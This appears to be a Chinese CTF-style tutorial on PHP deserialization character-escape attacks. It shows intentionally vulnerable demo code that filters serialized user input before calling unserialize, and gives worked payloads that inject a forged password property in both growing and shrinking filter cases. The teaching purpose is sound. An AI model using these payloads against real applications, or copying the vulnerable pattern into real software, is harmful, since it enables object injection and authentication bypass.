Php反序列化字符逃逸
个人理解的字符逃逸
字符增加
demo_1:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
<?php
error_reporting(0);
highlight_file(__FILE__);
class ik{
public $username = 'm';
public $password = 'ikun';
public function __construct($username){
$this->username = $username;
}
public function __wakeup(){
if($this->password === 'ik'){
include('flag.php');
echo PHP_EOL . $flag;
# flag.php -> flag{this_flag}
}else{
echo "哎呦 你干嘛~";
}
}
}
function filter($obj){
return str_replace('l','ll',$obj);
}
$username = $_GET['a'];
$obj = serialize(new ik($username));
$ter = filter($obj);
unserialize($ter);
|
-
__wakeup()魔术方法会在反序列化时,判断属性password是否是ik然后在引入flag。但是类中唯一的传值点就在**$username**
-
filter()方法对类ik的对象进行替换会多出一个字符,反序列化是从左往右读的,只读键的长度,多出了字符就忽略,那么这个就叫字符逃逸。可以对**$username进行逃逸,从而覆盖到$password**
1
2
3
|
O:4:"demo":1:{s:4:"name";s:2:"iki";}
# 2:"iki" 这里键的长度为3,只读键的长度多了一个i。从左往右读,那么这个'}'就是逃逸(忽略)了的
|
比如:
1
2
3
4
5
6
7
8
|
<?php
class ik{
public $username = 'm';
public $password = 'ik';
}
print_r(serialize(new ik()));
# O:2:"ik":2:{s:8:"username";s:1:"m";s:8:"password";s:2:"ik";}
|
这";s:8:"password";s:2:"ik";}就是要逃逸的字符数量27。php通过;}来判断反序列化的结束标志。因为之前的filter()将1个l替换为2个l,多了一个l。所以要逃逸我们的payload需要27个l然后拼接
1
|
lllllllllllllllllllllllllll";s:8:"password";s:2:"ik";}
|

demo_2:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
<?php
error_reporting(0);
highlight_file(__FILE__);
class ik{
public $username = 'm';
public $password = 'ik';
public function __construct($username){
$this->username = $username;
}
public function __wakeup(){
if($this->password === 'ikun'){
include('flag.php');
echo PHP_EOL . $flag;
# flag.php -> flag{this_flag}
}else{
echo "哎呦 你干嘛~";
}
}
}
function filter($obj){
return str_replace('main1o','main1oikun',$obj);
}
$username = $_GET['a'];
$obj = serialize(new ik($username));
$ter = filter($obj);
unserialize($ter);
|
-
和demo_1类似的,不过filter每次替换多4个字符,payload:
1
2
3
4
5
6
7
8
|
<?php
class ik{
public $username = 'm';
public $password = 'ikun';
}
print_r(serialize(new ik()))
# O:2:"ik":2:{s:8:"username";s:1:"m";s:8:"password";s:4:"ikun";}
|
-
";s:8:"password";s:4:"ikun";}是需要逃逸的字符一共29。但是,使用7个main1o,则会少一个字符,使用8个main1o 则会多3个。我们选择8个main1o ,只需要在需要逃逸的字符,后面在添加3个任意字符代替即可。
1
2
3
|
main1omain1omain1omain1omain1omain1omain1omain1o";s:8:"password";s:4:"ikun";}aaa
# 添加3个a
|

字符减少
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
<?php
error_reporting(0);
highlight_file(__FILE__);
$arr['user'] = $_GET['user'];
$arr['pass'] = $_GET['pass'];
function filter($str){
return str_replace('aa','a',$str);
}
$q = serialize($arr);
$w = filter($q);
echo '过滤前:'. $q . '</br>';
echo '过滤后:'. $w . '</br>';
$e = unserialize($w);
echo 'pass = ' . $e['pass'];
|
正常传参

加入aa后被过滤了的,导致少了一个字符。所以向后面吃掉一个字符,导致反序列化失败

反之,只需要计算出它需要吃掉的字符,在添加字符填补,即可反序列化成功。
我们的payload一共27个字符 ";s:4:"pass";s:6:"123456";} 知道2个aa会变一个a,所以a需要57个(payload * 2)
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&pass=";s:4:"pass";s:6:"123456";}

紫色的pass为键,27个字符为我们的payload前面有"形成闭合。紫色部分为19个字符,所以填充字符为8个
(54减去红色的27个a减去紫色部分19)
任意填充8个即可:
